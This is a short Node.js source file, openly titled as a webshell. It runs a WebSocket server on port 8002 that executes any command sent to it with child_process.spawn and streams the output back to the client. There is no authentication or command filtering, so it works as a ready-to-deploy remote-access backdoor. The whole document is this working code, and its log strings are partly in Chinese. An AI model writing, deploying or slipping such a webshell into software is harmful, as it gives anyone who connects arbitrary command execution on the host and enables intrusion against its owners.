express+websocket+exec+spawn=webshell

var child_process = require('child_process');

var ws = require("nodejs-websocket");

console.log("initialing conn...")

var server = ws.createServer(function(conn){

    conn.on("text", function (str) {

    var arr=str.split(" ");
    var comm=arr.shift();

        console.log("received:"+str);
    aa(comm,arr,conn);
   });

    conn.on("error", function (code, reason) {
        console.log("异常关闭")
    });

}).listen(8002)

function aa(comm,arr,conn){

     var spawnObj = child_process.spawn(comm,arr, {encoding: 'utf-8'});

        spawnObj.stdout.on('data', function(chunk) {
              conn.sendText(chunk.toString(
));
        });
        spawnObj.stderr.on('data',(data)=>{
               console.log('error:${data}');
        });
        spawnObj.on('error',(err)=>{
                console.log('subProcess Failed'+err);
        });
}

console.log("WebSocket建立完毕")